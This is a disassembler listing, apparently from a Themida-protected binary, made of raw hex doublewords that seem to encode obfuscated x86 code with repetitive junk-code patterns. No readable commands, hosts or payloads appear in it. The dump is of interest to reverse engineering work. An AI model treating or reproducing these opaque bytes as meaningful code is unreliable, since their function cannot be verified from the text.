dd 796929C1h, 136D7120h, 0B50196E8h, 60728F5h, 10E8h, 5C3F7200h
dd 0F6BDCDB4h, 88DF4CEEh, 969294DFh, 818D8912h, 5E060720h
dd 0CE950h, 0E3EE0000h, 0A24A5490h, 0E3AACAD6h, 1C89366Ch
dd 5870F24h, 0BE000000h, 5E1816ADh, 20D5B5FFh, 6A0607h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 0E89BE0C3h, 0Dh, 9D307FC7h, 5924EF4Eh, 6DCDFC0h, 0DE81668Ch
dd 0FF5F0E70h, 70D6995h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1704h, 0C3504000h, 0B3818972h, 925924BEh
dd 100B067h, 711FDB5h, 2970E606h, 700199Dh, 3C71E406h
dd 5C830F61h, 6A000002h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 0A533C350h, 2DEE9953h
dd 0F9AD121h, 12E9D8B6h, 0DA000000h, 0E53F11C9h, 7403BB0Fh
dd 47968122h, 0D0F7A54Fh, 6BAC3h, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0A329DC3h
dd 7A4B55B8h, 0B70F972Ch, 6AC38BF6h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0EE5BC352h
dd 91FCEC5Fh, 6A04E8C1h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1C042444h, 43000000h, 25C7C353h, 6EA3F34Dh
dd 66184C21h, 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 585FBAC3h, 2B6F1B2Dh, 56006AD8h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 0F08B4DFAh, 28E0Fh, 0F78B0000h, 51006A58h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 46CD5FD5h
dd 92BF197Ah, 2B5D7CF8h, 2C880FD8h, 0B9000001h, 7, 6AF4EF81h
dd 0C1830C53h, 55BD2B00h, 3B060732h, 10860FD9h, 8B000001h
dd 72F89BDh, 0D98C6606h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 0F1C35040h, 5F0ED217h, 2CD1BD89h, 0B58B0607h
dd 607151Dh, 0F04C1F6h, 0AC84h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 95FF2BFAh
dd 60729EDh, 7B6B92BEh, 6A5B25h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1A0424h, 57470000h, 462F8C3h, 6C29CA1Fh
dd 7DBFC32Bh, 3D04F95Fh, 834h, 4F860Fh, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 0E68112C3h, 0D6D2CF60h, 4EE9h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 82AC9664h
dd 0F38B6624h, 0FFDE8166h, 6AC08B42h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0E0EFC357h
dd 0E9858901h, 8B060713h, 0E9D88BC3h, 5, 0E26D06EFh, 4185C736h
dd 0D706070Ch, 6A35F235h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 0AB86C356h, 88696636h
dd 8160C9B9h, 9B5846DAh, 9E97Fh, 8C240000h, 4EB7E234h
dd 61C66141h, 0E953C08Bh, 0Fh, 225A35CCh, 0A6EA0EB7h, 4DE913FCh
dd 5EF03C6Fh, 20D5BD81h, 7D00607h, 850F0000h, 3Fh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 37C35545h, 5CAC783Ch
dd 6E893h, 6DE30000h, 9240181Dh, 10359D31h, 0BF5E0607h
dd 4E68E27Ah, 20D585FFh, 0FFF90607h, 720D5B5h, 0B5035106h
dd 6071851h, 6995FF5Fh, 0BF06070Dh, 44409A6Eh, 53006A90h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 3841A775h, 53006AE0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 66287E6Eh, 13DBE781h, 0B870Fh, 0BD890000h
dd 6072051h, 0B2A030BFh, 1577BF75h, 8D895688h, 6071F0Dh
dd 14E5BD8Bh, 81600607h, 0B5E9B8D3h, 91858B2Ch, 89060706h
dd 70E199Dh, 850F6106h, 0Ch, 10E5B58Bh, 0B5290607h, 6073119h
dd 0BE8h, 95474C00h, 4CF16F78h, 0E2F58A48h, 0A5B86660h
dd 0CE861C0h, 0A0000000h, 7FD36481h, 0CDBA35ACh, 0FB823F3h
dd 0DF81F7B7h, 679CC4D1h, 0E7815F5Fh, 4F907E94h, 0FF1BD31h
dd 0B52B0607h, 6070069h, 0EE9h, 2F16C700h, 0DBCAC1B6h
dd 167B6B88h, 0BF17F8BBh, 40C454DEh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 0CAC35646h, 0E91A89DDh, 0FFFFF809h
dd 0A8B0Fh, 810F0000h, 4, 3560BE66h, 0CE9C18Bh, 0C9000000h
dd 93C9FC04h, 0E033791Ah, 0FB89965h, 88h, 4EB00h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 5ACFC351h, 6A042F94h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0EC3BC356h
dd 9C7B1918h, 0F6B5DEBBh, 8DF7B70Fh, 718B185h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 499F02D7h, 0C745FD53h, 95898962h, 6072B85h, 0F38B6690h
dd 11E850h, 2B890000h, 0FF77C18Dh, 0CCF8AA31h, 0A1D19653h
dd 5F11C11Fh, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1504h, 0C3534300h, 6A9D24h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 0E9C35242h, 8B663706h, 6A006AF0h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 0C68BC356h, 4CFD58CFh, 858D8994h, 60AF307h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 8AC35040h
dd 0B6932555h, 8905C083h, 72345BDh, 4895006h, 53006A24h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 39B5231Ah, 0E8060719h, 14h, 980DC3BCh, 0AD49F142h, 47248D34h
dd 0ED1A9F7Dh, 209B4A9Fh, 0BE8h, 0E388E300h, 2CAE4F0Ah
dd 0C9A2AF6Bh, 22459D01h, 5E5F0607h, 6A5F53h, 8BEEBE66h
dd 8E9h, 853C1200h, 8EC48009h, 6A006A4Fh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 947EC352h
dd 611AEB23h, 0FFF54929h, 71E3D95h, 2EBF6606h, 0D59D8D12h
dd 89060A93h, 707958Dh, 6AD3FF06h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 7682C352h
dd 0F2E70117h, 0D18529F2h, 57060706h, 0C859D01h, 0FF5F0607h
dd 72F5985h, 81666006h, 8918E8DEh, 7069985h, 1BE96106h
dd 0E8000008h, 0
dd 11ED815Dh, 6A060AF3h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 47E7C351h, 0A5BD0B06h
dd 8106070Fh, 720D5BDh, 7D006h, 7A860F00h, 6A000001h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 424EC353h, 0CD07A97h, 8B91A976h, 726199Dh, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 3B01E315h, 4A602DCh, 0D48BE66h, 300DBD89h, 0E3810607h
dd 100h, 2D51BD2Bh, 0DB0B0607h, 0A8850Fh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 8359B9C3h, 0F602D83h, 28Ch, 0E9F08B00h, 9, 668B892Ch
dd 4F82D914h, 0BD836136h, 60AF0ECh, 0B840F00h, 89000000h
dd 70645B5h, 0A2E906h, 85C70000h, 60AF0ECh, 1, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 4AC35040h, 4138D80Bh
dd 0E9804BABh, 70h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 0FDC35646h, 831778EDh, 663902E1h, 85C7F38Bh
dd 60AF0ECh, 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 3DC35343h
dd 5B6D49B1h, 14E9F2B4h, 12000000h, 0B2206400h, 81E6505Dh
dd 3587ED72h, 86E91A23h, 0BE55EF65h, 7E550E89h, 26199D8Dh
dd 81660607h, 81F744C7h, 0FFFEFF23h, 6850FFFh, 8B000000h
dd 70185BDh, 0DB8C6606h, 0F6FFB70Fh, 840F04C3h, 4Bh, 7E8h
dd 5EEFE800h, 824AB473h, 13D9B58Bh, 0FF5E0607h, 729ED95h
dd 98C2BF06h, 66504D6Dh, 89C0F4BFh, 6A2404h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 170424h, 52420000h, 761B4EC3h
dd 5DB58BBEh, 0E906071Ah, 3D8h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 90C35242h, 0B70FDA53h, 0E900B0F2h
dd 10h, 4D01BD26h, 15F54F97h, 0FD1DB01Dh, 0DFEA313Fh, 6A70E6h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 9F92FFC3h, 1B458589h, 71E40607h, 0B1AB27BFh, 0D8B60F6Fh
dd 11558D29h, 6BA0607h, 1000000h, 710D185h, 0E8C38B06h
dd 0Bh, 7BFBE029h, 0EEDD6106h, 964A829h, 72979BDh, 0E8C15E06h
dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 453E7D74h, 6660601Ah, 61C816BFh, 7E852h
dd 6440000h, 9952C624h, 61595ECFh, 6AE2F766h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 0C195C357h, 0F5B6EB2Fh, 55BD8B46h, 2B06072Ch, 55006AD8h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 75D27C18h, 85293D69h, 6070AE9h, 59BE5093h, 93291BA2h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 35C35747h
dd 0E326C949h, 0FFA01AC8h, 720D5B5h, 0A9BD8B06h, 0FF06070Ch
dd 70D6995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1404h, 0C3524200h, 11E9F7h, 90770000h, 3688A078h, 46EE5015h
dd 51E804C5h, 0B0DDF851h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 21957610h
dd 6A70E669h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 0E992C356h, 21DD32CEh, 0BE470FA1h
dd 49D515BFh, 18F0F50h, 0FC000000h, 8B6671E4h, 0F613CF8h
dd 1E783h, 4D958900h, 0E8060733h, 8, 0DDA8084Bh, 0EF1924AFh
dd 19459531h, 0F5F0607h, 0DF81D8B6h, 6B53D4F6h, 6BAh, 0AE900h
dd 4D480000h, 25AB6B58h, 77591529h, 850FC38Bh, 0
dd 0FE9h, 9F2E8100h, 81F10A85h, 93CF64Bh, 0E49E6129h, 104E8C1h
dd 71DB595h, 0E2F76606h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 17h, 92C35040h, 0FB860D9h, 8B66FEBFh, 6AD82BF3h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 3DF4C350h, 8CC93F05h, 0E635BE66h, 52006A58h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 0D82BDBD4h, 116880Fh, 0B58B0000h, 6070291h, 7B9h, 8D896000h
dd 6070C05h, 8F03D181h, 666133ADh, 83215DBFh, 0BD8B00C1h
dd 607048Dh, 304D8D29h, 0D93B0607h, 0E2860Fh, 0B5890000h
dd 6070899h, 81D98C66h, 0F2F166D6h, 4C1F672h, 0C6840Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
dd 52420000h, 0CBBCD7C3h, 0FF82BBB0h, 729ED95h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 6D1A1F14h, 45BD2BAEh, 5B06070Ch, 0B8E0Fh, 830F0000h
dd 5, 4BC8E5BEh, 6AC32B23h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 23CDC350h, 71951B5h
dd 7E806h, 0FC680000h, 0BB9F644Dh, 5EF08BF3h, 8343Dh, 29860F00h
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 0CF38C356h, 0AE91Ah, 95010000h
dd 60709D5h, 0F78BC08Bh, 0D88BC38Bh, 0C7F78B66h, 71EE585h
dd 9635DF06h, 7DBD8B32h, 8B06070Bh, 56006AC0h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0EA2A080Dh
dd 77E6DE3Ah, 20D5BD81h, 7D00607h, 850F0000h, 46h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 94C35545h, 85FF96BBh
dd 60720D5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 2DC35141h, 8B1C2C79h, 0B5FF9C6Bh, 60720D5h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C6C35646h, 650F2F65h
dd 0CD10BB2Eh, 6995FFE1h, 6A06070Dh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 4ABC355h
dd 2988E406h, 7037585h, 6A9006h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 150424h, 56460000h, 6085DFC3h, 9E9h, 0D4831C00h
dd 0D81DBC9h, 16103FEh, 70AB195h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 4DE781FCh
dd 0BF3A7B27h, 49D7E12Bh, 0C2D68166h, 3870F99h, 66000000h
dd 8C0FFE8Bh, 9, 19C1BD89h, 8B660607h, 0C8C0FF9h, 89000000h
dd 700DD8Dh, 1DBD2306h, 6A060711h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 270EC350h
dd 0AF3A6563h, 29D6B23Bh, 70E6D85h, 65F78106h, 600F6414h
dd 12E8h, 6A259200h, 0D72FBD3Ch, 191D126h, 8B2E75D9h, 0FF9EEADh
dd 88h, 0FB8B5E00h, 2295B501h, 0BE610607h, 138733B4h, 7E8h
dd 53200B00h, 0A9B049EAh, 1025B58Bh, 0F88B0607h, 53006A5Eh
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 0E90E7BC3h, 0FFFFF807h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 14h, 93C35747h
db 0BFh, 0, 0B4h
byte_57C2E3 db 20h ; DATA XREF: Themida_:0053E810o
dd 0C18BFC28h, 58B0Fh, 8CBE0000h, 0EB54B6B1h, 4, 12E900h
dd 0E3CB0000h, 7388D31Fh, 9A1BB2BEh, 0B151C820h, 715A9A55h
dd 18B1858Dh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 0AEA0AEC3h, 0D678F6BFh, 8E95040h
dd 0F3000000h, 4F334E99h, 8997CBB1h, 6A2404h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 170424h, 55450000h, 345E36C3h
dd 9BD8BE4h, 6A060705h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 0DE27C38Eh, 0A433FDC9h
dd 6A006A0Ch, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 8BCAC353h, 71DA1B5h, 1F858D06h
dd 8B060AFDh, 72091BDh, 5C08306h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 5DC35747h, 2F299FA2h, 0B113BF90h
dd 60501FF9h, 5E505250h, 0BB66310Fh, 585A4F79h, 0B8D0Fh
dd 6E90000h, 1A000000h, 82D6AA2Fh, 8B9061B6h, 8B006AF1h
dd 718FDBDh, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1A042444h, 45000000h, 9807C355h, 44239F5Ch
dd 3D95FF51h, 6A06071Eh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1B042444h, 40000000h, 0AAC350h, 0F79F508Ch
dd 0F960E34Ah, 1DDD9589h, 0F610607h, 82h, 0D59D8D00h, 6A060A93h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 35DCC352h, 0F859EC6Ah, 0F3BF0F95h, 0D3FFF08Bh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 62C35040h
dd 0BA5A5DCCh, 0BD03991Ch, 60718E9h, 2F5985FFh, 0BD8B0607h
dd 6072981h, 19D9BD8Bh, 31E90607h
db 7, 2 dup(0)
byte_57C4E3 db 0E8h ; DATA XREF: Themida_:0053D468o
align 8
dd 29ED815Dh, 89060AFDh, 71919BDh, 0D5BD8106h, 0D0060720h
dd 0F000007h, 14286h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1904h, 0C3524200h, 6E4DAE1Eh, 85019EABh
dd 6070CCDh, 2E519D8Bh, 9D290607h, 6072AC1h, 23759589h
dd 0E3810607h, 100h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 89C35646h, 0BFE8B2Ch, 5F850FDBh, 0F000000h
dd 198Ch, 14E900h, 96EB0000h, 0F7A6C779h, 41DF9Bh, 0D84F64FDh
dd 9FE06D2Ch, 85298E47h, 6070495h, 0FB36BD83h, 0F00060Ah
dd 1084h, 599D0900h, 0E9060702h, 4Bh, 0F1BF0F50h, 3685C75Fh
dd 1060AFBh, 0F000000h, 85h, 0E9F78B00h, 2Fh, 2B61B589h
dd 85C70607h, 60AFB36h, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0B9C35545h
dd 8D135C2Ch, 72E519Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1404h, 0C3514100h, 14E85205h, 20000000h
dd 1B4057C7h, 537A4070h, 0BDD407E4h, 5D04D8F7h, 0E9C0C442h
dd 5, 0BD1CFE9Ch, 815F5F4Fh, 0FFFEFF23h, 819529FFh, 66060718h
dd 6ADB8Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 9D89A1C3h, 6070C35h, 0F04C3F6h, 6284h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 778C3536h, 8006BFE0h, 96BF4656h, 0FF6E85F4h, 729ED95h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 8BF78B33h, 0FA8B50F1h, 0F240489h, 68Fh
dd 0DDBD0B00h, 0E906071Fh, 31Fh, 0E95700B0h, 6, 415BC8AAh
dd 0E65F4DE4h, 57006A70h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1C04h, 0C3574700h, 67A03D31h, 133C007Ah
dd 0E1952929h, 89060719h, 7212595h, 6A71E406h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
dd 526CC351h, 0C7B63D17h, 8D898B9Dh, 6070DFDh, 0FD8B60Fh
dd 8Dh, 71950100h, 0BA06072Ch, 6, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Bh, 15C35242h, 1CB31F83h, 0F457640h
dd 0C38BF1BFh, 0B05B589h, 0E8C10607h, 68B0F04h, 8B000000h
dd 729DDB5h, 0E2F76606h, 222DB58Bh, 85310607h, 6070FE1h
dd 820FD82Bh, 6, 0B09B503h, 81660607h, 937C56EEh, 13E9h
dd 96319300h, 9311D537h, 1C2EACE2h, 9A23B5CDh, 37A17998h
dd 0F18B5350h, 0B5FF935Eh, 60720D5h, 0D6995FFh, 8D010607h
dd 6070249h, 70E600B0h, 6199589h, 71E40607h, 0C4DF8166h
dd 0F613C67h, 1F683h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1A04h, 0C3574700h, 6BDB0B6Bh, 0E975AA4Ch
dd 0Bh, 0D98C175Bh, 0E3C72C8Ah, 66081CFBh, 0B60FF38Bh
dd 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h
dd 0C3514100h, 0F5395FA1h, 0CA082D5Fh, 6BAF9h, 0B58B0000h
dd 6072E65h, 0C38BF08Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 0CDC35646h, 60AD3650h, 0CE8h, 54794500h
dd 0D097786Dh, 7E19B5A3h, 586160A1h, 61FB8B66h, 2F55BD23h
dd 0E8C10607h, 8D316004h, 6072931h, 0E2F76661h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 27C35545h, 2BEF949Ah
dd 91BD2BD8h, 58060701h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 80C35747h, 9D7F634h, 719CD8Dh, 0FD82B06h
dd 0EA88h, 38D0F00h, 0F000000h, 7B9F7B7h, 83000000h, 0F0BE00C1h
dd 3B4EA5A9h, 0CC860FD9h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 4F83C356h
dd 0CFB73981h, 0A1A4F6C3h, 0D98C66FCh, 0C1F6F28Bh, 70840F04h
dd 0E9000000h, 9, 999C219Eh, 178D7A1h, 0ED95FFC2h, 0F8060729h
dd 5D85895Bh, 2B060730h, 0FE9C3h, 0C7FC0000h, 54F633h
dd 8BAAA216h, 7F5FB749h, 8343D58h, 860F0000h, 33h, 0C798D89h
dd 50E90607h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 0FAC5C357h, 78A726D5h
dd 800FF1h, 8B000000h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 5DD7AC01h, 0E58D89E3h
dd 8B060701h, 6AD88BC3h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1A042444h, 41000000h, 0F18AC351h, 0FE373901h
dd 1985C705h, 31060726h, 0F1FCFC3h, 0F85h, 0AE900h, 0AA4B0000h
dd 0DA2F8A1Ah, 5DE39123h, 6AC08Bh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1C0424h, 50400000h, 346005C3h, 0FEFE6E16h
dd 0C681730Eh, 27681E24h, 20D5BD81h, 7D00607h, 850F0000h
dd 20h, 0A75B58Bh, 85FF0607h, 60720D5h, 0FE9h, 0B2E6F300h
dd 16280DD3h, 0BB38723Ah, 8E909DCAh, 20D5B5FFh, 0BF660607h
dd 95FFCD9Fh, 6070D69h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 18h, 0A1C35242h, 0C710D554h, 78F78166h, 6A9004h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 0F78271C3h, 8BA5FED7h, 70FA1B5h, 0D9D8906h, 60060703h
dd 0D95BD8Bh, 958B0607h, 6072B9Dh, 22E9958Bh, 6A610607h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 57F3C355h, 0CD7B983Ch, 6ABD2Ah, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 93CCB8C3h
dd 0BC8FF90Fh, 89F88BC3h, 7132585h, 0B70F6006h, 559589C7h
dd 61060730h, 9E9h, 8B586D00h, 0B85D627h, 0B501C6EDh, 60702E1h
dd 0BE9h, 74682A00h, 5BC362B1h, 9F890832h, 2E5DB58Bh, 0CE90607h
dd 27000000h, 1164CF02h, 0B7C0C10Ch, 8934241Ch, 7002585h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 217341B0h, 88D0Fh, 8B510000h, 70301BDh
dd 4E95E06h, 6AFFFFF9h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1D042444h, 43000000h, 0B716C353h, 2FFF222h
dd 8AFB2137h, 1B89BD33h, 8D890607h, 6072C6Dh, 6D4FBF66h
dd 8DDF04EBh, 0E1E964AFh, 0CC000005h, 0CE750A9Bh, 0C76E03A2h
dd 0C269FE99h, 0BE65FA93h, 0CA65FA8Bh, 31C4F7B2h, 2DC8F59Ch
dd 24BFF198h, 1DB8E88Fh, 5F4DBB88h, 4398EDEEh, 2C502239h
dd 34C269FCh, 0F2259684h, 9D7049A3h, 0E67FB2B3h, 0E077A750h
dd 0E984B239h, 7908A942h, 0BBC2AC47h, 0AA51E414h, 0AD54F323h
dd 0B45BFA26h, 0C168FB2Dh, 0C86F0E3Ah, 54D05E17h, 0FD2BF588h
dd 0FBA43ACDh, 0ED862DC8h, 2355FC03h, 2254FB90h, 997A35C7h
dd 9F401ACEh, 0A94471F8h, 0AE497B02h, 0B5508007h, 69B74A0Eh
dd 27F13AADh, 972CC7F9h, 8F25C0F0h, 901FB6E6h, 8922C964h
dd 4FF8869Fh, 569C8621h, 49A39FE8h, 0C269FC2Ch, 0B5271561h
dd 0FE8DBF65h, 0DD8E35D0h, 2F1A1A24h, 4F8648D6h, 7919AEC4h
dd 1D07A2D0h, 7229h, 0FC2C8D00h, 8BF6C269h, 6F49A3F2h
dd 0FC60816h, 0CD19AEC0h, 0Ah, 13F472F5h, 76BC3E54h, 2CC08Ch
dd 0F626CF65h, 33181397h, 62036FDBh, 28D15F78h, 74755FFAh
dd 7F06AD48h, 6F1FB550h, 0A32C1081h, 0A5935B49h, 49A32C34h
dd 210BAC7Fh, 67B14408h, 5CF28DB9h, 0FEE887B3h, 6EA049F7h
dd 73A52CD3h, 0EFD63FE0h, 6DEC5F6Ch, 1F4F503Ah, 2C81F388h
dd 0AF4E7AF9h, 27CE6F08h, 32D974A0h, 0D07EC881h, 0C16F049Dh
dd 0F5F8F3Eh, 0D26109B5h, 0CA630AA3h, 18AFDFE0h, 21BCEA71h
dd 2FF9DC7Ah, 0AF313CA9h, 8D9E19h, 2C020000h, 33C168F9h
dd 16BD588Ah, 6492937Dh, 0CB5E22C9h, 5A0D37Dh, 0BA39EC6Fh
dd 0E96F3419h, 0A3718AFBh, 6102D549h, 96C97077h, 71A71806h
dd 1FF249A3h
dd 0A049D77Eh, 0E8E9D36Eh, 0DB7920B9h, 3DA82EF8h, 8B19AF3Fh
dd 6E15B0E2h, 87F7EBD5h, 1F000000h, 0BB24376h, 14B3E372h
dd 1EEAD46Dh, 3CA0F92Ch, 4C371CEEh, 10973EDFh, 159C43DEh
dd 1EA54CE7h, 25AC53F2h, 1FB85FF2h, 9AA26CA7h, 82DD7169h
dd 0F36B0CABh, 8DC06EB8h, 2CED5FF4h, 30BE6500h, 0F2219280h
dd 996C49A3h, 0F1FB69AFh, 0C3F49A3h, 194BD279h, 6D26D77Eh
dd 727863A3h, 588AF6EFh, 8A2319C3h, 0F72B9435h, 0D22D1738h
dd 0FD2AD344h, 0C357A398h, 14B5F769h, 91EAD46Dh, 19AF2944h
dd 196h, 0FE2CFA00h, 535BC63h, 1760CB72h, 406F1809h, 7B65FEA5h
dd 1CB14C7Ah, 3DD3CB53h, 0A309D54Fh, 0FC2FF047h, 8829C269h
dd 0B5A353E1h, 439CD944h, 0D1D2BC8Fh, 0ED7006A1h, 63C3EAE3h
dd 0BAC1AB7Fh, 9D44E313h, 9BFD66D1h, 0B482BD43h, 9FCD5A8Ah
dd 1DCD6304h, 9BFDBE2Fh, 4C360943h, 0D76E9E45h, 0DE79A930h
dd 43CD8637h, 7D12A5D5h, 5FF626CFh, 3FB61FB8h, 0E772AF6Ch
dd 7C59B29Ch, 5E1FB619h, 192h, 877525C2h, 49A3F216h, 81A48E61h
dd 7D6B01F9h, 47A2F9CFh, 9220C79Ah, 751CB7E9h, 881B4DDCh
dd 5D5E48E1h, 5E059A2Dh, 43B4A22Eh, 8E439CE9h, 0E34652BBh
dd 0A61E7AB2h, 0A7D75E05h, 8EBC2D1Bh, 3407439Ch, 5F4DFD93h
dd 439C8DEEh, 637C6639h, 6D14ADDCh, 8E80F1DFh, 0F8CB439Ch
dd 0F59C3769h, 0D9A5406Eh, 224EF846h, 7029E283h, 0AD4878A6h
dd 8FC16A18h, 0CAB44DF4h, 0B6246471h, 7B761Fh, 0ADA0000h
dd 0BF98F83h, 49A3F2EAh, 4EAFDE87h, 1FA42444h, 0AF56F7D1h
dd 63CF034Eh, 0EE8F34FFh, 436F0A04h, 0D42223F6h, 16A44BECh
dd 42077866h, 1D4B49A3h, 0BA42DB82h, 46B7FDE7h, 6A49A342h
